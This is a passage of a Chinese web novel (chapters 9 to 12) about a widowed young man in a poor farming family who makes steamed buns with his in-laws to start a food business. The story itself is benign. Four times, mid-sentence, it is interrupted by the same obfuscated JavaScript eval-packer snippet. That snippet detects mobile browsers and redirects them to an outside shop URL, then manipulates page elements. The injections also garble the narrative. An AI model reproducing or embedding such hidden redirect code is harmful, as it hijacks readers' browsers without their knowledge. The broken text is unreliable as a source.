好在沈回很少管他,但只要开口,沈来立马就能安静。 徐有芳见沈来停下,看他被沈回吓的鹌鹑一样,又有些不忍心。 “行了别傻站着,快和你大哥夫进屋去。不是说要和大哥夫睡,还不收拾被褥?” 知道他娘不和他计较的沈来又活了过来,拉着凌星救往屋里跑。 速度快的很,生怕再被他二哥叫住名字。 那感觉,和阎王点名似的,谁体验谁知道。 9. 第 9 章 徐有芳要去邻村请大夫来再给凌星看看,叫凌星拒绝了。 一百文不少了,尤其是对这个家庭来说。买些麦麸少点的面粉弄了家里吃也好啊。 他的身体他清楚,压根就没病。 凌星的态度坚决,又当着徐有芳的面蹦跳了几下,力证自己没事。 徐有芳拗不过凌星,只能作罢。 有了钱万事好说。 凌星没耽误时间,趁着黄昏时吃晚饭大家都在,说了做生意要用的东西。 农家非农忙的时候一日两顿,早晚吃。 农忙的时候就是一日三顿,中午有一顿干的。 沈家因为要上山捡柴,又要背着去镇上卖,体力耗费颇多,这几日也一日三顿的吃。 不过顿顿都是面糊,豆饭来回换,也没点干的稠的,吃进肚子里,就是个安慰,饱不了肚子。 一家子一边喝稀面糊,一边听凌星的计划。 首先要定做个泥炉,还有蒸笼。 沈呈山道:“星哥儿说的蒸笼可是木头做的?若是的话叫二郎帮你做,他有些手艺。” 凌星看向对面的沈回,只见对方微微颔首,声音冷硬,“样式画给我。” 说完又问,“会画吗?” 凌星点头,“会的,吃完就给你画。” 沈回道:“不急,明日做之前画也行。” 蒸笼家里自己做的的话,又能省下一笔钱。 泥炉没办法,这个要去陶坊那边烧。 凌星要的和小药炉样式差不多,家里之前因沈还吃药,就定了小药炉。 冬日里的时候,谁给沈还煮药,都会蹲在药炉前暖手。 不过那炉子太小了,烧水煮药可以,蒸馒头包子不行。 知道凌星对泥炉的要求后,沈呈山记下了。 “明日去卖柴火的时候正好走一趟陶坊。” 沈家其他人也都没意见,听沈呈山拍板。 这份信任和包容,倒是叫凌星有些难以置信。沈家人都还没尝过他做的东西,只听他说,就帮着他张罗筹办。 他知道有因为他如今身份的原因,但也不可否认,沈家人对他是真的很好。 沈家二老不知道凌星的想法,在他们看来,凌星不仅是沈还托他们照顾,也因凌星是冲喜到他家,结果头婚三天,就叫人年纪轻轻的守了寡。 他们心里是想着补偿的。 既然凌星想张罗做买卖,那就帮着做。成的话很好,不成的话也不留遗憾。 “爹娘,村子里哪家有好面粉啊?我想拿铜钱去买点,回来做点包子馒头给大家尝尝看。” 凌星的提议得到了沈来强烈响应,他不知道啥包子馒头,他知道好面粉。 听到面粉,他眼睛都亮了两簇小火苗。 沈来坐不住挥着手吸引凌星注意,“村长家肯定有!大哥夫你要多少?我帮你去换!” 听凌星说要试做尝尝,沈家其他人也很是意动。 毕竟是要花不少钱去筹办的买卖,要是真的味道不行,前头还能看看可不可以想办法弄的好吃一点。 卖吃食,新奇虽然能吸引人,但更重要的还是味道好。 去村长家买面粉的事就交给了沈来,凌星给他数了铜板后,就迫不及待的跑走了。 沈家距离村子也就一里路,跑过去没多会就到了。 村长家这会才吃晚饭,他们家今天烧了肉吃,时间上有些晚了。 本以为能避开吃饭时候,没想到正赶上了。 沈来抱着小陶盆,有些局促不安,想要先回去。 村长的老伴王春霞看到人后直接把人叫住,客气的招呼他去吃两口,沈来当然不会真坐下去吃。 不过他还是控制不住的吞咽了口水,几息后才摆手拒绝道:“不吃了王婶,我来是想拿铜钱买些好面回去,家里人等着,不许我在外头耽误时间。” 王春霞听说是拿铜钱买面粉,脸上笑意真诚了几分,放下筷子道:“那婶子不能害你被大人揍,你进来看看,要多少?” 沈来怀里抱着陶盆,不是很大。 “把这个装满吧,不冒尖。” 冒尖的话容易撒,要是真撒了,不管撒多少,沈来都能心疼死。 村长家的好面粉,就是二十文一斤的那种,有些发灰的面。 王春霞用小秤称了一下,“正好一斤,婶也不赚你钱,多少钱买来的你也清楚,多给婶子两文钱,全当个跑腿的费用。” 沈来嗳了一声,边点头边数铜板。 仔仔细细的数了两遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036480|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,确认二十二个,然后交了出去。 倒面粉的时候,沈来两眼紧盯着,有一点撒桌上,他都捏起来丢陶盆里。 王春霞看着也没说什么,来换面粉的基本都这样。 回去的时候,沈来不像去村长家那么疯跑,走的小心翼翼的。 他用胳膊护着陶盆,不让面粉散出去一点。 到家把陶盆安稳的放桌上后,沈来才彻底的松一口气。 面粉虽然有些灰,不似精细磨了多遍又筛过许多次的白面颜色好看,但麦香味却很浓郁。 是纯手工,无添加的好面粉。 沈来眼神充满期盼的盯着陶盆,希望能留一些出来,让他生日的时候能有好吃的面条。 做包子和馒头,需要老面引子和面碱或是小苏打。 酸碱中和,能让做出来的面食蓬松柔软,激发更多的麦香,短时间内即便是放冷了,也不会干硬。 但是量和比例也有讲究,多了少了味道都难吃。 凌星前世隔三差五的做,还是比较熟练的。 揉了少量的面团,放在用开水烫过后晾晒干的陶碗里,等面团发酵成老面引子,需要一定的高温和时间。 因为天冷,创造合适的温度是唯一比现代麻烦的。 凌星想了一下,只能征用煮药的小泥炉。柴火用的少,上面的温度不是很高,靠近了有暖意。 碱比起面引子得到要轻松很多,灶膛里的草木灰有一堆,凌星拿陶盆取出一些,加水搅和放置澄清。 变得干净的上层碱液,还需要再用布过滤几遍。 最后就能取用。 面引子就没那么简单,那小泥炉就放在东头房里面,凌星方便看着。 装着面引子的陶碗,用布巾包裹着,放在小泥炉上的边缘。 凌星根据柴火的量,来控制温度。这活只能他来做,夜里起来看好几次,就怕弄坏了。 沈来睡的沉,一点都没察觉身边的凌星一夜起来好几次。 他以为自己会因为睡床太兴奋,导致睡不着,没成想一觉睡到天亮。 起床后沈来蹲泥炉边上看了一会,想伸手掀开布巾看陶碗里的东西,但最后还是压制住没看。 他皮是皮了些,可也害怕真的因为自己坏了事。 10. 第 10 章 沈来起床没多久,凌星也起了。 沈呈山他们和昨天一样,早早的进山弄柴去卖。灶屋只有沈小春和沈小夏在捧着陶碗喝面糊。 沈来去灶屋的第一件事就是去木头柜子里看装面粉的陶盆,发现里面的面粉没有变化,脸上笑意更甚。 把柜子仔细关好,重新系好布条后,他才问小春,“我娘去哪了?” 沈小春嘴角有干了的面糊,她把脸从陶碗里抬起来,“阿奶说去王夫郎那买豆腐。” 豆腐一斤五文钱,买上一斤配着菜叶子煮了,够沈家十来口人吃一顿的。 说到豆腐沈来也有些想吃了,要是寒冬里买就好了。切切直接放簸箕里,搁外头冻着,弄成冻豆腐更好吃。 冻豆腐里蜂窝一样,软绵绵的,吸汤汁入味着呢。 可惜那时候豆腐一斤要八文,家里只有过年节前才舍得买,做了冻豆腐等过年那天吃。 只有那一顿,后面想吃,就只能想想了。 现在天虽说还冷,不过冻不了豆腐。 只冻手冻脚。 凌星正在山脚下洗漱,他把用过的杨柳枝丢山脚的枯草里,漱口后回去洗脸。 徐有芳正好回来,手上端着陶碗,里面装着一块大豆腐。 “星哥儿,锅里有热水,用热水洗脸。” 交待一句后,凌星带着笑应了一声,“知道啦娘。” 在凌星洗完脸准备进灶屋的时候,听到了沈来一声哀嚎。 “啊啊啊啊啊!娘你怎么能这样!买了豆腐却不给我吃,叫我干看着等晚上!” 说着就要伸手抓豆腐,想抓一块塞嘴里过过嘴瘾。 不出意料,被徐有芳一掌拍开,“爪子拿开,你大哥夫说了晚上包豆腐包子吃,你这会吃了晚上是不是不吃?” 包子是啥沈来也不知道,不过在他看来,用好面做的东西就没难吃的。 因此虽说不知包子其味,沈来还是愿意为了它而忍受吃不到豆腐的馋。 就是看得到吃不到实在是煎熬,他不能对他娘嚎,只好回去缠凌星,求他快点包包子。 包子要有馅才行,沈家没东西做包子馅,猪肉也买不起。凌星便想到之前沈来提过的豆腐,这个加些调料拌馅,味道也很不错。 昨天临睡前,想到沈来说王夫郎家的豆腐味道最好,就去求着徐有芳帮买一趟。 王夫郎家的豆腐要去的早,晚了就没有了。 徐有芳这才明明晚上才包,但早上就去买豆腐。反正这天也还冷着,豆腐放放也不会坏。 喝完了难以下咽的面糊后,凌星觉得他嗓子有点疼。 等缓过劲,他就帮着徐有芳做针线活。 他不会刺绣,但是缝缝补补的还是可以的。小时候家里穷,爷爷也节俭。 他衣服破洞,都是爷爷缝补。 不过爷爷手艺不太行,缝的像一条条蜈蚣一样。 到了知羞耻的年纪,凌星也不太想穿着蜈蚣服上学去。 感觉所有人的目光都在他的身上,所有人都在窃窃私语的议论着他,对他评头论足。 他虽然也想不在意,可没办法。 那些声音总会缠着他,在他的耳边萦绕。也让他生出了敏感自卑,有一段时间话都不敢和人说。 从那后凌星就自己练习缝补,他年轻眼神好,熟练之后不说缝的多细密,至少不会明显的一条在衣服上。 他还会把有颜色的布条,剪成合适的大小,弄个简单的图形,缝补在大一些的破洞上当装饰。 只这样,对凌星来说就够了。 他尽自己所能,让自己体面,别人要是再嫌弃的说这说那,那他也没办法。 反正他已经做到自己能做的最好了,这样就够了。 再好的针线活,在徐有芳面前都是班门弄斧。 徐有芳一点没嫌,还时不时的指点一下凌星,让他缝补的针脚更细密。 越教徐有芳就越喜欢凌星,这哥儿总是挂着笑,好像没有烦心事一样。那笑容能感染着周遭,看他高兴,大家也想跟着笑一笑。 人又有耐心,愿意听,愿意学,脑子还灵光一点就透。 凌星手里缝补的是沈来的衣服,徐有芳看着屁股那的破洞,没忍住笑着念道:“来哥儿的性子也不知随谁,皮的很。一个哥儿整日出去与男娃们打架,那破洞就是爬树上追着人打,被树枝给勾坏了的。” 听着沈来的光辉事迹,凌星脑海里想着画面,也被逗笑。 “那定是那群男娃招惹来哥儿生气了。” 和沈来相处的这两天,凌星能感觉到这孩子并不是真的皮的没边,不讲道理的。 就是性子会急些,经不起激,一是一二是二,不能捉弄他。 叫他爬树都要追着揍的,定然是把他给惹急眼了。 徐有芳闻言一愣,她倒是没想过会是这样的情况。 以前家里要给大郎治病,她每天睁眼想的就是怎么赚钱。并没有太多的时间和心神去处理来哥儿惹出来的祸。 每每有人来找,她也只希望快些解决,不要再耽误时间。 她做绣活,时间就是铜板。多做些,就能多换些钱回来。 这会听了凌星的话,徐有芳陷入短暂的沉思。 莫不是以往,她都冤枉了来哥儿? “娘你怎么了?” 凌星察觉到徐有芳的情绪不太对劲,出声询问道。 “没事,就是想起一些以前的事。” 徐有芳不太想说,凌星自然不会追问。他低头继续缝沈来的破洞裤子,缝好后看向箩筐里的两三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036481|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件衣服,“二弟的衣服不在这里?” 沈家的衣服其实不多,春夏秋两身换着穿,冬日里的衣服,一人就一身。 凌星穿的是沈还以前的衣服,多余的衣服一件都没有。 老话说,这衣服就是新三年旧三年缝缝补补又三年,上头穿完下头穿,穿的不能再穿了,拆了还能缝布鞋,做抹布。 在这为数不多的衣服里,没有一件是属于沈回的。 徐有芳道:“二郎衣服他都自己缝补,这孩子太懂事,怕我辛苦。” 凌星哦了一声,想到之前给沈回修头发的时候,看见他衣领磨损严重,似乎有缝补,但显然效果并不好。 中午徐有芳还是做了豆饭,凌星去看了一下老面引子发酵的情况,还不错。 傍晚的时候就能取出来揉面。 豆饭做好,沈呈山几人也回来了。 上午的柴还是卖了一百四十文,有沈回在,柴弄的多一些。 昨天下午沈回没去,三人累半晌,走的路又多,就弄了七捆,卖了四十九文。 家里加上凌星手里的八百文,现在一共一千一百零九个铜钱,算一两银子。 不过眨眼就要去掉五百文。 “星哥儿啊,你要的那炉子我去陶坊那边问了,定制的比较大,匠人要试错,一口价要五百文。不过说了后面要是坏了,能给免费修三次。” 沈呈山把打探来的消息和凌星详细的说了,凌星暗暗乍舌,他本以为五百文就够所有,没想到光这泥炉就要花去五百文。 包子馒头又不好家里弄好再带去,这天还冷着,路上也要时间,到地方都冷了。 偏包子馒头冷了味道就不好,谁也不是冤大头,花那冤枉钱买。 这钱不能不花,还得赶早才行。 越早弄出来,就能越早赚钱啊。 “好的爹,饭后我数了钱,劳烦爹帮我再跑一趟,叫他们开始做起来吧。” 吃了豆饭,沈呈山又带着沈归夫妻二人进山了,下午进的是深一点的地方。 虽然四十九文比不上一百四十文多,可那也是钱啊。 好在这会天还冷,上山没有蛇虫突然蹿出来咬人。不然家里除了沈回,还真没人敢往深处走一点。 沈回今天要给凌星做蒸笼,依旧没有去。 院子里,凌星蹲在地上,手里拿着根小树枝,在土上给沈回画蒸笼。 沈回看了一眼,记在心里。 “好,我知道了。” 说罢就开始动手弄起木头来,神色专注动作流利。 凌星目光停留在沈回衣袖端的豁口,一边给沈回递木板,一边道:“二弟,忙活完衣服脱下来我给你缝补一下吧。” 那头沈回动作微顿,下一瞬又响起劈木板的声音,“不用。” 11. 第 11 章 傍晚,老面引子发好了。 期间凌星也把之前放置的草木灰液进行了多次过滤。 凌星取面引子和碱液准备和面,倒面粉的时候,沈来就在边上,眼巴巴看着装面粉的陶盆。 凌星嘴角含笑道:“小五,等你生辰那日,不管怎样大哥夫都给你弄碗好面条吃,所以今日这面粉就不留了,我都包了包子馒头,大家一起尝尝味道好吗?” 沈来都做好了生辰那日肯定没面条吃的准备了,没想到凌星不仅记着还给他保证。 这让沈来鼻头一酸,抱着凌星就蹭,“大哥夫,你真的太好了!” “行了,别耽误你大哥夫做事,快下来。” 徐有芳笑着把沈来从凌星身上薅下来,不让沈来去看详细过程。 面和好需要发一阵子,今天晚上能蒸好,但晚饭肯定赶不上吃的。 吃完面糊后,家里也没什么活干,沈呈山和沈归帮着沈回一起做蒸笼去了。 曹满月带着两个孩子打扫屋子,沈来被徐有芳塞了一簸箕的黄豆,让他挑坏的出来。 凌星这边在调豆腐馅料,把豆腐切碎,有小半陶盆。 家里没什么调料,连小葱都没有,还没开始种呢。 只有粗盐和一点点的猪油。 凌星把粗盐重新研磨的更细碎,加进豆腐里面,又弄一点的猪油进去,抓拌抓拌。 好歹能有些味道。 面发了一个时辰,掀开布巾一看,比原来大了一倍不止。 一旁徐有芳看的惊讶不已。 “这面咋还自己变大了?” 沈来觉着好奇,也凑过来看,“大哥夫你难不成会仙法?” 凌星把面团弄到案板上,上面撒了面粉,专门留下来用的,防止面团粘连。 “就是加了面引子的缘故,只要是面团,加了它都会变大。” 大概给二人解释一遍后,凌星开始揉面。 徐有芳和沈来清楚,是昨晚弄的面团和草灰水叫面自己变大了。 但心中依旧惊奇,没想到那草灰水还真能用啊。最开始见着星哥儿泡草灰水,说做包子馒头要用的时候,她还担心这包子馒头不能吃呢。 结果现在面团不仅变大,似乎还白了不少,像是掺了一半的精白面进去一样。这样的话,得省多少面粉啊,卖的时候食客肯定也喜欢。 这会徐有芳已经开始觉得这生意有做头,而不是和之前一样,支持凌星完全就是为了弥补,和答应沈还照顾凌星的原因。 凌星动作麻利,很快就把面搓成长条,分成大小均匀的面剂子。 然后用沈家自制的擀面杖,稍微擀一擀,把包子给包了。 馅料用完,剩下的面团直接团成馒头。 家里有竹蓖子,专门放在陶锅里面卡着蒸东西的。 铁锅前朝就有了,不过因为打仗的原因,朝廷控铁严格。这几年放松不少,寻常百姓家也能再添铁具。 但沈家穷,没钱买铁锅,只能用着陶锅。 这锅用也能用,就是用的时候要小心一些,火不能太大。也不能热锅加冷水,不然锅底能漏大窟窿。 凌星能烧铁锅,陶锅烧不了。 以防他把家里唯一的陶锅烧坏了,便由徐有芳烧。 竹蓖子上放满了包子馒头,圆滚滚的特别好看。 沈来之前还想上手,不过他知道自己手笨,不想把面粉糟蹋了,也就心里想想。 盖上竹编的大锅盖,凌星去水缸舀水,洗洗手。 陶锅导热慢,火也小,熟的速度自然也慢一些。 洗完手的凌星也一直守在锅边,隔一段时间稍微掀开盖子,看看里面包子馒头的状态。 同时也记着用陶锅蒸好需要多久的时间。 差不多大半个时辰,凌星再掀开盖子时,脸上扬起灿烂的笑:“好了!可以出锅了!” 徐有芳撤了柴火,没烧完的灭火后堆一旁。 凌星用筷子夹包子馒头,因为竹蓖子上没有垫麻布,底部与竹蓖子有粘粘。 夹起来的时候,多少有撕裂外皮。 好在这是家里自己吃,破一点皮也没什么。 要是拿出去卖的话,这种还是尽量没有的好。 自从掀开锅盖后,沈来的眼睛鼻子就粘锅里去了。 这白白胖胖,麦香十足的东西,怎么看起来,闻起来,都那么好吃啊! 面粉之前看着虽有些发灰,但弄好之后,没有灰的那么厉害。还是比较白的,不过比起精白面的白,肯定还差点意思。 却也不妨碍这麦香纯正,灶屋这会全是热气腾腾的麦香。 徐有芳视线落在锅里的包子馒头上,也是一脸的喜色,先不论吃起来味道如何,看着就很不错啊。 比寻常好面粉做的面食要白不少,麦香也是很浓郁。 对于这生意,徐有芳也是越来越信凌星真能做好。 包子馒头稍微冷了冷之后,她叫沈来去喊人来灶屋,趁着热乎赶紧尝尝味道。 要是味道也成,说不准这生意真能做起来。 凌星捡了一大陶盆的包子馒头,馒头不多只有三个,个头中等。 包子有十三个,个头大的很。主要是馅料足的原因,面粉的延展性好,都没有破皮露馅。 沈来急着吃好吃的,早就坐不住了。这会得了徐有芳的话音,连忙就跑出灶屋喊人。 没一会灶屋就挤满了人。 屋里头还有蒸馒头包子的热乎气,人多之后更暖和。 凌星把包子一人一个分了,还剩下四个放一边。 馒头只有三个,只能一人掰一点,每人能尝尝味。 沈家人各自捧着大包子,还有不够两口塞的馒头块,在沈呈山的动嘴后,一家人也纷纷低头开吃。 最先咬上包子的沈呈山,在牙齿感受到包子皮柔软蓬松的触感时,心中已经惊讶不已。 乖乖,这面皮子怎这样软乎? 一口下去,暄软的包子皮带着微咸软嫩的豆腐馅,嘴巴里是又软又咸香。一口下去没嚼两下,立即就想吃第二口。 沈小春和沈小夏就没吃过这样好的东西,那软乎乎的大包子放他们手里的时候,都还有些不敢接。 这可是好面粉做出来的好东西,他们竟然也能分到一整个吗? 俩孩子第一反应不是高兴,而是有些紧张忐忑的看向曹满月。 在看曹满月点头后,他们才后知后觉的高兴起来。 等咬上包子,尝到那味后,一发不可控制也顾不得内馅还烫口,吃的停不下来。 比起两个孩子,沈来那吃相,完全的小狗扑食,凶猛的很。 边吃边哼哼,要仔细听才能听明白,在呜呜呜呜的说好吃。 沈归也好不到哪里去,他虽说三岁前还是个金尊玉贵的少爷,但他没记忆啊。 记忆里他吃的最好的,就是麦芽糖。 后来这个也吃不上了。 面皮因为发酵,软乎的不行。面皮多嚼嚼,还能吃出一些回甜。 他只可惜包的太少,就一个压根不够解馋啊,反而勾起更多的馋虫来。 曹满月吃两口后,也是喜欢不已。但她没有再多吃,而是把剩下的给两个孩子,还有沈归分了。 沈归是真喜欢吃,他根本受不了一点诱惑。 曹满月给他的那点,他接下了。 没法子,馋啊。 不过咬了一半后,剩下的沈归又塞给曹满月,“媳妇你吃。” 曹满月脸上挂着笑,有些不好意思的抬头看看,见没人看她这才接了沈归手里的那点包子。 馒头没有馅料,但因足够的柔软,口感又紧实细密,干嚼着还带点甜,也很得喜欢。 徐有芳和沈呈山是吃过好东西的,但不得不说,这包子和馒头不比他们以前吃的那些好东西差。 尤其是这面皮,都不晓得面皮还能这样的发软。 凌星挨个问口味的时候,大家你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036482|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一言我一语的夸。 先头并没有真的看好这生意,这下子是全都信生意真能做好了。 倒是沈回没怎么说话,他混在人堆里不开口,凌星看了他一眼。 沈回感受到有人看他,抬眸冷冷看去,见是凌星笑眯眯的样子,又收了视线。 吃包子的时候,凌星就看沈回两口就给吃没了。 他吃东西很快,馒头也是一样,囫囵个的吃进去,八成都没吃出味来就已经咽下去了。 叫他说味道给反馈,能说出来才怪。 在得到沈家其他人的一致认可后,凌星心里的压力也少了一些。 他其实也有些怕这些会不合古人口味的,沈家人的喜欢不是作假,好吃就是好吃。 吃完后天也不早,一家人准备回去睡觉。 再拖下去,要烧不少灯油,舍不得浪费那灯油钱。 凌星的包子没吃,他专程走沈回身侧,悄悄的给他手里塞去,小声道:“谢谢你卖头发帮我凑钱,对了吃东西要慢一点,太快会伤身体,胃会坏的。” 说完人就抬脚快步离开,打着哈欠要去睡觉。 沈回看着掌心白胖的大包子,又盯着凌星的背影看了看。 “哎?二哥你包子没吃啊?那能不能给我吃一点点啊。” 沈来借着月光,一眼叨中沈回手里的包子。 沈回收回视线,当着沈来的面把包子塞嘴里,眉头一挑,“我的包子,不给旁人吃。” 沈来看沈回嚼包子,馋的咽口水。 不过他也没真以为能从他二哥手里弄来吃的,他二哥这人其实很大方,但是又很护食。 简单来说就是,除非是他二哥不想要的东西,这东西不管多贵重他都会任人随意拿。 要是那东西是他二哥想要的,那再低贱,别人也休想从他手里拿走。 包子这么好吃,他二哥护食也正常。 木头柜子里还有四个包子,不管怎样,他明天肯定是还能再吃上一口的。 因此在确认他二哥不给,沈来也没缠着,吸溜一下口水,撅着嘴转身跑了。 那包子的香味一直勾他,他不能再待。 真控制不住上去抢,他能被他二哥嵌墙里。 第二天一早,凌星起来后,发现沈呈山他们竟然没走。 灶屋里人坐的齐,看样子是有事要说。 凌星坐到沈来边上,沈呈山咳了一声,拿出了当家人的气势,“今天是要和你们说一说,往后咱们家里的日子要怎么过。” 父母在,不分家。 这是铁律。 但若是一家人实在过不到一起去,也可以砌个院墙,稍微隔开。 可想要另外盖房单住,是不行的。 沈呈山和徐有芳昨天吃了凌星做的包子馒头之后,就知道凌星是真的有本事。 前面沈回作为沈家人,给了凌星八百文。但他们不能因为这八百文,就要凌星的生意彻底属于沈家。 沈呈山继续道:“以前因为要给大郎治病,家里的钱都是在一处使。现在大郎走了,我和你们娘商量过,各人手里都可存些银钱,为自己或是为自己的小家。” “你们自己在外赚的钱,多少都不必交公。家里田地的产出做公用,由你们娘管着,不会私分给你们。” 这席话听的曹满月眼睛亮晶晶的,每年有农忙但也有农闲啊。 农闲出去找活干,多少都是自己的,她手里头也能攒钱了! 凌星听着沈呈山的话,他知道今日说这些,是有他的原因。 他在说做生意的时候,就已经决定将这生意算沈家的。 反正最终都能改善他的生活条件。 而他,也需要沈家的庇护。 现在沈家和他说,不会要他的生意,但依旧是一家人。 凌星突然觉得老天爷对他也还不错,虽说他现在的哥儿身份,因为时代原因,限制颇多。 但好在他遇到了沈家人。 12. 第 12 章 人的感情是相互的,人家对他好,他也会对人好。 凌星等着人走差不多,拉着沈呈山和徐有芳道:“爹娘,我的生意全托家里给的银钱才能做。往后每月,我会给家中五成的收入做公用。这钱爹娘务必收下,不然我住在这里,心里难安。” 之所以不在全家人面前说,是怕给沈回还有沈归夫妻两压力。 要交公一部分,是他原因特殊。他不能因为自己的特殊,把其他人给架起来。 沈呈山夫妻二人知道凌星心意已决,沈呈山思索一番后提议,“你的手艺才是生意的根本,五成太多了,且那些铜钱是二郎给的。真要给的话,不如给一成给二郎,其他的就不必了,不然爹娘心里也同样难安。” 凌星想了想,“再给两成给家里吧,我需要用公中的东西,算账也麻烦的很,不如直接给了省心。” 两方推来推去,最后定下给一成给沈回,一成给公中。 这下凌星给了钱,心里安稳了。沈呈山和徐有芳没有占孩子太多的便宜,心里也舒坦了。 陶坊那边说泥炉做好要十天,这几天沈回空了就做蒸笼。 柴火的价格在第五天的时候又降了,一捆六文。 即便是这样,沈家还是一天跑两趟山。 再少也是钱,家里穷的要揭不开锅哪里容得了他们挑三拣四的。 不过是苦点累点,干就完了。 这天凌星在帮徐有芳晒衣服,发现晾衣绳上有件衣服已经干差不多了。 是沈回的。 他的衣服一般都是自己洗。 凌星也问过徐有芳,但徐有芳也说不上来沈回什么时候开始自己洗衣服了,反正她已经很多年没有洗到沈回的衣服。 晒完衣服后,凌星看到沈回的领口袖口有缝补。缝的并不结实,稍微磨磨,线能把布都给磨散。 他见衣服干的差不多,便拿了下来,去西头房找针线篓子。 中午沈家人卖了柴火回来,一家子坐一起吃了豆饭。 席间沈来又把脑袋贴凌星的怀里去,“大哥夫,你啥时候再做包子馒头吃啊?” 这几天他每天能问凌星八百遍这个问题,自从吃了顿好的,他就想的要命。 他知道家里这样穷,不可能总吃那好东西。豆腐在他家都是奢侈物了,更别提包子馒头。 但他控制不住自己,总期待着还能再吃上。只要想了,就去问凌星。 甚至还说不要生辰面了,只要一个豆腐包子。 陶炉还没做好,蒸笼倒是进入了收尾阶段。 凌星算着能出摊的日子,对沈来道:“再过四天,到时候你帮我切豆腐馅,我给你个包子和馒头怎么样?” 沈来两眼一亮,小狗一般,“好!我一准把豆腐馅切的漂亮!” 这边对沈来说了,那头的沈小春和沈小夏也没落下,“小春,小夏,你们要来给大伯夫帮忙赚包子馒头吃不?” 具体帮什么忙凌星没说,在凌星看来他们都是小孩子,能做的本来就有限。 他张口,只是为了让两个孩子有参与感,觉得是沈家的人,没被排挤在外。本来他们在沈家连呼吸都小心着,怕惊扰到人。 曹满月当娘的也知道两个孩子活的小心,这里面有她的原因,可她也是没办法。 眼下大哥夫主动开口,想帮着两个孩子,曹满月心里感激,在两孩子怯懦退缩但又无比向往的眼神下,笑着点头,“快谢谢大伯夫。” 沈小春和沈小夏小声的张口,“谢谢大伯夫。” 说完还有些激动,脸都红了,不太好意思的低头。 凌星笑笑,没有再继续说什么。 吃完豆饭,曹满月片刻也等不了,要去砍柴。 公爹说卖柴钱是给大哥夫做生意备用的,她多砍些大哥夫备用的钱就能多些。 那包子馒头都要钱,她不能叫大哥夫白掏。 蒸笼差收尾,沈回想着今天全部做完。 路过晾衣绳的时候发现衣服忘记收了,便伸手取衣服。 拿到手里才发现破损的领口和袖口,被重新缝补了。 针脚不似他自己缝的那般松散,也不如他娘的那样精细。 但缝补的很好,很结实。 沈回拿着衣服,视线精准的落在不远处给沈来整理头发的凌星身上。 此时凌星正巧抬头,见沈回臂弯挂着他缝补过的那件衣服,正面部表情的盯着他看,凌星有些不好意思的笑了笑。 沈来头发整理齐整后人就撒腿跑了,他在一个地方待不住。 院子里只有沈回和凌星,凌星悄悄靠近沈回。 “不好意思啊,擅自动了你的衣服。但要是不重新缝补的话,衣服领口和袖口没多久就会烂掉,到时候想缝都缝不起来了。” 沈回带着茧子的指腹蹭了一下衣袖上缝补的痕迹,低头看向凌星,“多谢哥夫。” 凌星笑着摆手,“没事的,你以后有需要缝补的都可以拿给我,很快就能缝补好。” 之前沈回卖头发帮他凑钱,凌星是打心眼里面感谢。举手之劳的事情,他很乐意替沈回做了。 沈回没立即回答,而是在沉默片刻后,沉声道:“那便劳烦哥夫了。” 两人没再继续说,沈回要赶时间做蒸笼,把衣服放回屋,就出来干起活。 凌星在院子里看了一会,没什么是他能做的,又去帮徐有芳打扫屋子。 “星哥儿,你之后出去摆摊子,娘想着叫二郎陪你去。” 凌星手里拿着秃头的苕帚,心里算了算日子,“那会家里要耕地了吧?二弟他一把子力气,留在家不是更好?” 徐有芳哎了一声,“就是二郎力气大,人长得高壮,这才叫他陪你去啊。” “这话怎么说?” “外头且乱着呢,你这样的小哥儿身边没个汉子,不知有多少人会欺负你,找你麻烦。二郎模样凶,爹娘瞧着他,心里都会发怵。叫他陪着你,帮你镇场子,那些个二流子不敢靠近你的。” 徐有芳一通说,凌星明白了。 这里不是法治社会,他可不敢托大说不用。 “全听娘安排。” 到了约好的日子,沈呈山去镇上卖柴的时候,拐去陶坊取了订做好的泥炉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036483|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顺便从镇上的粮铺买了十斤的好面,一下子又花了二百文。 泥炉死沉,还是沈回一路拎回去的。 沈归则扛着十斤的面粉跟在后头,看一会就喊累,要他爹和他换着扛。 